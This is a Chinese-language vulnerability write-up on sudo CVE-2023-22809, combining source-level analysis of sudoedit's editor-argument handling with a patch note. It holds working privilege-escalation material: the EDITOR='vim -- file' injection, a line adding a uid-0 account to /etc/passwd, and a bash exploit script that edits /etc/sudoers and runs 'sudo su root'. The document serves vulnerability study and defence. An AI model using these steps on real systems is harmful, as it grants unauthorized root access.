一、前言
- 漏洞简介:Sudo中的sudoedit对处理用户提供的环境变量(如SUDO_EDITOR、VISUAL和EDITOR)中传递的额外参数存在缺陷。当用户指定的编辑器包含绕过sudoers策略的“–”参数时,拥有sudoedit访问权限的本地攻击者可通过将任意条目附加到要处理的文件列表中,最终在目标系统上实现权限提升(由普通用户到超级用户,即"root")。
- 漏洞编号:CVE-2023-22809
- 漏洞等级:高危
- 漏洞评分:7.8分
- 影响版本:sudo 1.8.0-sudo 1.9.12p1(sudo>=1.8.0 or sudo <=1.9.12p1)
- 攻击效果:本地提权
二、环境搭建
使用sudo --version查看当前系统下sudo版本
若在1.8.0-1.9.12p1范围内,则可以直接用本机环境复现,但是为了便于调试(获取符号信息)我们需要编译一份debug版本的sudo
首先到https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz下载固定版本的sudo,然后下载好后在压缩包对应目录下执行下列命令:
1 2 3 4 | wget https: / / www.sudo.ws / dist / sudo - 1.9 . 12p1 .tar.gz
tar - zxvf . / sudo - 1.9 . 12p1 .tar.gz
cd sudo - 1.9 . 12p1 /
. / configure && make && make install
|
编译成功后,我们调试的sudo程序就是有符号信息的了,编译后的sudo 位于/usr/local/bin文件夹内
调试过程可能会遇到sudo报错的问题,这个报错是由于gdb没有sudo模式下运行
然而如果直接sudo gdb,则又不会加载pwndbg插件
sudo命令不会加载个人配置文件(或者说继承当前的环境变量)而直接运行gdb,使用-E选项将当前环境变量传递给sudo命令就能成功加载pwndbg插件
1 2 | sudo - E gdb / usr / local / bin / sudo
sudo - E gdb - - args / usr / local / bin / sudo ...
|
三、漏洞检测
搭建好环境后,测试一下漏洞
首先创建/etc/test,然后编辑/etc/sudoers,在文件末尾添加(user为攻击者用户名)
1 | user ALL = ( ALL : ALL ) NOPASSWD: sudoedit / etc / test
|
这一步是为了满足攻击条件,具体原因会在下面分析提到
然后在命令行中输入
1 | EDITOR = 'vim -- /path/to/file' sudoedit / etc / test
|
/path/to/file可以是任意文件,常见的提权有:修改/etc/shadow为空密码(但我本地未能成功,不清楚为啥)、修改/etc/passwd中root为用户名、修改/etc/sudoers规定用户X可以无密码执行任何操作,具体不再赘述
以修改/etc/shadow为例
先用openssl生成密码
1 2 | $ 1 $xxx$jTt7t9bGmhywOtQCjcQA. 1
|
然后修改/etc/passwd,添加
1 | xxx:$ 1 $xxx$jTt7t9bGmhywOtQCjcQA. 1 : 0 : 0 :root: / root: / bin / bash
|
最后su xxx 然后输入密码123就可以提权了
完成提权
四、漏洞分析
先来看漏洞怎么走到触发位置的,首先关注main函数,sudo在main函数中进入parse_args函数解析sudo的启动参数,然后将返回值传入sudo_mode
1 2 3 4 5 6 7 8 9 10 11 12 13 | int
main( int argc, char * argv[], char * envp[])
{
int nargc, status = 0 ;
char * * nargv, * * env_add;
char * * command_info = NULL, * * argv_out = NULL, * * run_envp = NULL;
const char * const allowed_prognames[] = { "sudo" , "sudoedit" , NULL };
......
submit_argv = argv;
submit_envp = envp;
sudo_mode = parse_args(argc, argv, &submit_optind, &nargc, &nargv,
&sudo_settings, &env_add);
}
|
sudo_mode是parse_args的返回值,根据参数解析相应的模式,这个值决定下面的switch语句中进入哪个分支
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 | int
parse_args( int argc, char * * argv, int * old_optind, int * nargc, char * * * nargv,
struct sudo_settings * * settingsp, char * * * env_addp)
{
const char * progname, * short_opts = sudo_short_opts;
struct option * long_opts = sudo_long_opts;
struct environment extra_env;
int mode = 0 ; / * what mode is sudo to be run in ? * /
int flags = 0 ; / * mode flags * /
int valid_flags = DEFAULT_VALID_FLAGS;
int ch, i;
char * cp;
debug_decl(parse_args, SUDO_DEBUG_ARGS);
/ * Is someone trying something funny? * /
if (argc < = 0 )
usage();
/ * The plugin API includes the program name (either sudo or sudoedit). * /
progname = getprogname();
sudo_settings[ARG_PROGNAME].value = progname;
/ * First, check to see if we were invoked as "sudoedit" . * /
if (strcmp(progname, "sudoedit" ) = = 0 ) {
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true" ;
valid_flags = EDIT_VALID_FLAGS;
short_opts = edit_short_opts;
long_opts = edit_long_opts;
}
......
if ((ch = getopt_long(argc, argv, short_opts, long_opts, NULL)) ! = - 1 ) {
switch (ch) {
......
case 'E' :
/ *
* Optional argument is a comma - separated list of
* environment variables to preserve.
* If not present, preserve everything.
* /
if (optarg = = NULL) {
sudo_settings[ARG_PRESERVE_ENVIRONMENT].value = "true" ;
SET (flags, MODE_PRESERVE_ENV);
} else {
parse_env_list(&extra_env, optarg);
}
break ;
case 'e' :
if (mode && mode ! = MODE_EDIT)
usage_excl();
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true" ;
valid_flags = EDIT_VALID_FLAGS;
break ;
......
case 'l' :
if (mode) {
if (mode = = MODE_LIST)
SET (flags, MODE_LONG_LIST);
else
usage_excl();
}
mode = MODE_LIST;
valid_flags = LIST_VALID_FLAGS;
break ;
if (!mode) {
/ * Defer - k mode setting until we know whether it is a flag or not * /
if (sudo_settings[ARG_IGNORE_TICKET].value ! = NULL) {
if (argc = = 0 && !ISSET(flags, MODE_SHELL|MODE_LOGIN_SHELL)) {
mode = MODE_INVALIDATE; / * - k by itself * /
sudo_settings[ARG_IGNORE_TICKET].value = NULL;
valid_flags = 0 ;
}
}
if (!mode)
mode = MODE_RUN; / * running a command * /
}
|
parse_args首先会检测执行程序名称的长度,如果长度大于4且后四个字母为edit,则将mode设置为MODE_EDIT,然后通过getopt_long函数解析命令行参数以及转换到“sudo_settings”结构体中,这个函数是getopt函数的一个扩展,可以处理长选项和可选参数,返回值是当前选项的字符代码;进入到switch分支,并根据选项设置相应的标志位
长选项(long options)是一种长的命令行标志,通常由两个减号(--)和一个带有描述性名称的单词组成。例如,--file 是一个长选项
长选项通常用于指定程序的一些高级选项,比如输出目录、日志文件、配置文件等。
短选项(short options)是一种用于在命令行中指定程序选项的方式。通常由单个字符组成,并且在前面加上一个破折号(-)。例如,-h
是一个短选项,它可能用于显示程序的帮助信息。
短选项通常用于指定程序的一些基本选项,比如输出格式、日志级别、文件名等。它们通常很容易记忆,因为它们只有一个字符,并且在命令行中很常见。
长选项和短选项通常可以接参数
主要关注会在下面的分析或exploit中用到的这几个参数:
- l:列出当前用户可以使用 sudo 命令执行的命令和参数
- E:保留当前用户的环境变量执行sudo(通常情况下,sudo命令会重置环境变量)
- e:以管理员权限打开指定的文件进行编辑,使用sudo -e会将文件的所有权和权限更改为管理员,该命令常用于修改重要的系统配置文件,相当于sudoedit
解析参数和设置模式后返回到main函数,由于sudo_mode已设置为MODE_EDIT,会执行policy_check函数
1 2 3 4 5 6 7 8 9 | switch (sudo_mode & MODE_MASK) {
......
case MODE_EDIT:
case MODE_RUN:
if (!policy_check(nargc, nargv, env_add, &command_info, &argv_out,
&run_envp))
......
/ * The close method was called by sudo_edit / run_command. * /
break ;
|
来看看policy_check函数的源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | static bool
policy_check( int argc, char * const argv[], char * env_add[],
char * * command_info[], char * * run_argv[], char * * run_envp[])
{
const char * errstr = NULL;
int ok;
debug_decl(policy_check, SUDO_DEBUG_PCOMM);
if (policy_plugin.u.policy - >check_policy = = NULL) {
sudo_fatalx(U_( "policy plugin %s is missing the \"check_policy\" method" ),
policy_plugin.name);
}
......
}
|
可以发现他实际上会通过虚表来调用check_policy,这里虚表的载入实际上是通过load_plugins等函数加载函数表到sudoers_policy结构体中,还与sudoers.so有关,具体过程比较复杂,我们可以直接在gdb里下断点到policy_check函数,然后单步步过到这个位置,然后看一下具体是哪个函数
通过调试发现实际上调用的是sudoers_policy_check函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | static int
sudoers_policy_check( int argc, char * const argv[], char * env_add[],
char * * command_infop[], char * * argv_out[], char * * user_env_out[],
const char * * errstr)
{
......
struct sudoers_exec_args exec_args;
int ret;
......
if (ISSET(sudo_mode, MODE_EDIT))
valid_flags = EDIT_VALID_FLAGS;
else
SET (sudo_mode, MODE_RUN);
......
exec_args.argv = argv_out;
exec_args.envp = user_env_out;
exec_args.info = command_infop;
ret = sudoers_policy_main(argc, argv, 0 , env_add, false, &exec_args);
......
}
|
sudoers_policy_check函数将存储命令行参数、用户环境变量和命令信息等放到exec_args结构体中,然后调用sudoers_policy_main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | int
sudoers_policy_main( int argc, char * const argv[], int pwflag, char * env_add[],
bool verbose, void * closure)
{
......
validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
if (ISSET(validated, VALIDATE_ERROR)) {
/ * The lookup function should have printed an error. * /
goto done;
}
......
if (ISSET(sudo_mode, MODE_EDIT)) { / / 拥有sudoedit权限
char * * edit_argv;
int edit_argc;
const char * env_editor;
free(safe_cmnd);
safe_cmnd = find_editor(NewArgc - 1 , NewArgv + 1 , &edit_argc,
&edit_argv, NULL, &env_editor);
......
}
|
在sudoers_policy_main函数首先调用sudoers_lookup函数,主要功能是读取sudoers文件的内容并验证用户是否有权限执行命令,这也是此漏洞的攻击条件之一,如果没有权限会无法绕过sudoers_lookup函数。
在解析sudoers文件时,该函数将检查用户是否属于允许执行该命令的用户组,以及该命令是否被列入sudoers文件中。如果用户没有权限执行该命令,则该函数将返回false,否则将返回true,并将命令状态存储在cmnd_status变量中。但是在经过了sudoers_lookup函数的检查后,如果以"-e"模式运行,则调用find_editor函数,这个函数会重写已经检查过的命令。这个逻辑是一个很危险的操作,因为一旦经过了权限验证,所执行的命令就不应当被修改。
下面我们看看find_editor函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | char *
find_editor( int nfiles, char * * files, int * argc_out, char * * * argv_out,
char * const * allowlist, const char * * env_editor, bool env_error)
{
/ / [...]
* env_editor = NULL;
ev[ 0 ] = "SUDO_EDITOR" ;
ev[ 1 ] = "VISUAL" ;
ev[ 2 ] = "EDITOR" ;
for (i = 0 ; i < nitems(ev); i + + ) {
char * editor = getenv(ev[i]);
if (editor ! = NULL && * editor ! = '\0' ) {
* env_editor = editor;
editor_path = resolve_editor(editor, strlen(editor), nfiles, files,
argc_out, argv_out, allowlist);
|
find_editor函数首先检查是否存在SUDO_EDITOR、VISUAL、EDITOR这三个环境变量,对于每个环境变量如果存在则调用resolve_editor,resolve_editor是解析路径和命令的函数。
通过调试,可以看到此时环境变量EDITOR已经被我们注入为’vim — /etc/passwd’
resolve_editor
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | static char *
resolve_editor(const char * ed, size_t edlen, int nfiles, char * const * files,
int * argc_out, char * * * argv_out, char * const * allowlist)
{
char * * nargv = NULL, * editor = NULL, * editor_path = NULL;
const char * tmp, * cp, * ep = NULL;
const char * edend = ed + edlen;
struct stat user_editor_sb;
int nargc;
......
cp = wordsplit(ed, edend, &ep);
......
editor = copy_arg(cp, ep - cp);
......
/ * Count rest of arguments and allocate editor argv. * /
for (nargc = 1 , tmp = ep; wordsplit(NULL, edend, &tmp) ! = NULL; )
nargc + + ;
if (nfiles ! = 0 )
nargc + = nfiles + 1 ;
nargv = reallocarray(NULL, nargc + 1 , sizeof(char * ));
......
/ * Fill in editor argv (assumes files[] is NULL - terminated). * /
nargv[ 0 ] = editor;
editor = NULL;
for (nargc = 1 ; (cp = wordsplit(NULL, edend, &ep)) ! = NULL; nargc + + ) {
/ * Copy string, collapsing chars escaped with a backslash. * /
nargv[nargc] = copy_arg(cp, ep - cp);
......
}
if (nfiles ! = 0 ) {
nargv[nargc + + ] = (char * ) "--" ;
while (nfiles - - )
nargv[nargc + + ] = * files + + ;
}
nargv[nargc] = NULL;
* argc_out = nargc;
* argv_out = nargv;
......
}
|
首先接收参数(环境变量ed、文件数量nfiles、文件列表files、允许列表allowlist),然后通过wordsplit和copy_arg计算参数数量并解析到nargv数组中,为了解释字符串是怎样被解析的,这个过程结合调试来演示
第一次wordsplit和copy_arg,长度为3,这一步是拷贝了编辑器的名称
然后通过getenv获取环境变量PATH的值,接着通过find_path获取vim的路径
这一部分完成了对编辑器的解析。
接着走到第一个for循环里,从编辑器名称(vim)后的字符串直接开始,通过wordsplit来计算参数(nargc)的数量
并且如果nfiles不为0(nfiles与sudo的命令行参数数量有关),就会将参数的数量加一,然后根据参数数量申请对应大小的空间(nfiles即要编辑的文件数量)。
第二个for循环则是把参数拷贝到nargv数组中
在拷贝结束后会判断要编辑的文件数量是否为0,如果不为0,则程序会往要编辑的文件前注入两个破折号,并且在之后将要编辑的文件名拷贝到nargv数组,这两个破折号相当于标记的作用,标记后面的内容为要编辑的文件名,但此时环境变量是在此之前拷贝的,’vim — /etc/passwd’ 此时已经拷贝到nargv数组中,在此之后拷贝了程序注入的’ — ‘以及文件名,于是这个命令就被解析为vim — /etc/passwd — /etc/test
最后nargv和nargc会拷贝到argc_out和argv_out中,这两个变量会用于接下来的sudo_edit。
nargv是一个char **的数组,可以看到已被解析为vim — /etc/passwd — /etc/test(这里的nargv[3]由于位于可执行段上会被识别为指令,但其实仍然指向’—’这个字符串)
最后一步:sudo_edit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | int
sudo_edit(struct command_details * command_details)
{
/ / [...]
/ *
* Set real, effective and saved uids to root.
* We will change the euid as needed below.
* /
setuid(ROOT_UID);
/ / [...]
/ * Find a temporary directory writable by the user. * /
set_tmpdir(&user_details.cred);
/ / [...]
/ *
* The user's editor must be separated from the files to be
* edited by a "--" option.
* /
for (ap = command_details - >argv; * ap ! = NULL; ap + + ) {
if (files)
nfiles + + ;
else if (strcmp( * ap, "--" ) = = 0 )
files = ap + 1 ;
else
editor_argc + + ;
}
|
sudoedit首先设置了ROOT权限和临时可写目录,由于此时已经是root权限,当走到这一步就可以做到任意文件编辑,重点关注这几行行代码
1 2 3 4 5 6 | setuid(ROOT_UID);
......
set_tmpdir(&user_details.cred);
.....
else if (strcmp( * ap, "--" ) = = 0 )
files = ap + 1 ;
|
首先设置权限为root权限,这一步完成了提权,在这之后会设置一个临时的可写目录(这个临时可写目录是为了保持写入过程中的稳定性,简单的说就是会在tmp下面写一个文件,写完后会拷贝到原本要写的文件中去);
调试中可以看到uid为0,为超级用户
然后走到strcmp函数时,最终的命令行参数与--比较,如果相同则将之后的内容视为要编辑的文件名,指令rep cmpsb用于比较两个内存区域的数据内容是否相同,在这里就是比较命令行参数是否为'--'
根据上文对resolve_editor函数的分析,环境变量的额外参数没有对用户输入的内容进行过滤,假如我们在额外参数中注入一个-- file,这些额外参数最终会被解析到command_details->argv中,然后通过strcmp比较将--之后的内容视为要编辑的文件,并且file的路径和文件名也是用户可控的,由于此时已经设置了root权限,所以我们编辑某些敏感文件如/etc/passwd也是没问题的,有了任意文件编辑之后,实现提权也就是分分钟的事情了。
五、提权
看过上面的分析,exploit其实很好写,首先我们需要一个sudoedit的权限,这个权限可以通过编辑/etc/sudoers来实现(不得不吐槽一下这个条件有点奇葩),然后在环境变量里注入EDITOR如'vim -- file' file为要编辑的路径及文件名并执行sudoedit,最后通过编辑/etc/sudoers敏感文件提权
sudoers和passwd文件介绍如下
/etc/sudoers是Unix和Linux系统上的一个文件,它包含了授权用户或组以root或其他特权用户身份运行命令的规则。sudoers文件通常只能由系统管理员或具有特权的用户进行编辑。
当用户使用sudo命令时,系统会检查/etc/sudoers文件中的规则,以确定用户是否被授权运行指定的命令或脚本。这些规则可以指定哪些用户或组可以使用sudo,以及在哪些主机上、以哪种方式、运行哪些命令或脚本可以使用sudo。
sudoers文件的规则语法有点复杂,建议在编辑sudoers文件之前备份好文件,并使用专门的工具(如visudo)进行编辑,以避免语法错误或安全问题。
/etc/passwd是Linux系统中的一个文件,它包含了所有用户账号的信息。每一行代表一个用户账号,由7个字段组成,字段之间用冒号分隔。这7个字段的含义分别是:
- 用户名:用于登录系统的用户名,必须是唯一的。
- 密码:已经被加密的用户密码,如果为x或*则表示密码存储在/etc/shadow文件中。
- 用户ID:用户的唯一标识符,通常称为UID。
- 组ID:用户所属的主要组的标识符,通常称为GID。
- 用户信息:用户的个人信息,通常是用户的全名或注释。
- 家目录:用户的主目录,通常是/home/username。
- 登录Shell:用户登录后默认使用的Shell程序,通常是/bin/bash或/bin/sh。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | if ! sudo - - version | head - 1 | grep - qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$'
then
echo "> Currently installed sudo version is not vulnerable"
exit 1
fi
EXPLOITABLE = $(sudo - l | grep - E "sudoedit|sudo -e" | grep - E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut - d ')' - f 2 - )
if [ - z "$EXPLOITABLE" ]; then
echo "> It doesn't seem that this user can run sudoedit as root"
read - p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm = = [yY] ]] || exit 2
else
echo "> BINGO! User exploitable"
fi
echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
echo "$USER ALL=(ALL:ALL) ALL"
read - n 1 - s - r - p "Press any key to continue..."
echo "$EXPLOITABLE"
EDITOR = "vim -- /etc/sudoers" $EXPLOITABLE
sudo su root
exit 0
|
首先检查当前系统上的sudo版本是否存在安全漏洞,如果不是,则退出。如果是,则检查当前用户是否可以通过sudoedit以root权限运行命令。如果当前用户无法以root权限运行sudoedit,则脚本会提示用户是否要继续进行提权攻击。如果用户可以以root权限运行sudoedit,则脚本将显示一条消息,告诉用户将特定行添加到sudoers文件中。最后,脚本将打开sudoers文件以便用户添加此行。
- 然后我们看看EXPOLITABLE这一行,主要执行了以下步骤:
使用 sudo -l 命令列出当前用户的sudo权限。
使用 grep -E "sudoedit|sudo -e" 过滤出能够运行 sudoedit 命令或者 sudo -e 命令的权限。
使用 grep -E '(root)|(ALL)|(ALL : ALL)' 过滤出其中包含 (root) 或者 (ALL) 或者 (ALL : ALL) 的权限。
使用 cut -d ')' -f 2- 命令删除每行开头的括号和空格,只保留每行的命令参数。
- 最终,该命令将返回一个以空格分隔的字符串列表,其中每个元素是一个能够以root权限运行的命令参数。如果返回的字符串为空,则表示当前用户无法以root权限运行任意sudoedit命令。
如果无法以root权限运行sudoedit,则不满足CVE-2023-22809的利用条件;
如果有权限,则会提示接下来的payload会任意文件编辑打开sudoers文件,攻击者在/etc/sudoers文件里添加$USER ALL=(ALL:ALL) ALL,该命令表示用户$USER可以运行任意命令,而不需要输入密码,接着注入EDITOR,EDITOR中—后面的,最后运行sudo su root实现提权
六、补丁
只需把受影响的环境变量添加到拒绝列表中
1 2 3 | defaults!SUDOEDIT env_delete + = "SUDO_EDITOR VISUAL EDITOR"
Cmnd_Alias SUDOEDIT = sudoedit / etc / custom / service.conf
user ALL = ( ALL : ALL ) SUDOEDIT
|
IDA插件开发入门
最后于 17小时前
被CatF1y编辑
,原因: